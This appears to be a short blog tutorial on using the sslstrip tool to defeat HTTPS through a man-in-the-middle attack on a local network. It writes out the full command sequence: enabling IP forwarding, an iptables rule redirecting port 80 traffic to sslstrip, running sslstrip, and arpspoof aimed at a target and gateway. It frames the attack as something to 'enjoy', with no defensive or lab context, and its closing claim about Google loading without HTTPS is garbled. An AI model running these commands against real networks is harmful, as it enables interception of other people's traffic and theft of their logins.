How To Break SSL Protection via MITM Attack With SSLStrip Tool
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. It requires Python 2.5 or newer, along with the 'twisted' python module.
First Requirements:
- Run Python
- The python "twisted-web" module (apt-get install python-twisted-web)
Setup
- Unpack: tar zxvf sslstrip-0.5.tar.gz
- Install twisted: sudo apt-get install python-twisted
How to Run?
Flip your machine into forwarding mode.)
echo "1" > /proc/sys/net/ipv4/ip_forward
Setup iptables to redirect HTTP traffic to sslstrip.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>
Run sslstrip.
sslstrip.py -l <listenPort>
Run arpspoof to convince a network they should send their traffic to you.
arpspoof -i <interface> -t <targetIP> <gatewayIP>
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When ARPspoof start capturing traffic then SSL strip became success use the following command.
sslstrip -l 8080
Now type facebook.com or Google.com into your browser and open these websites without Https. It will be open https://google.com 😛
Enjoy!
Gloss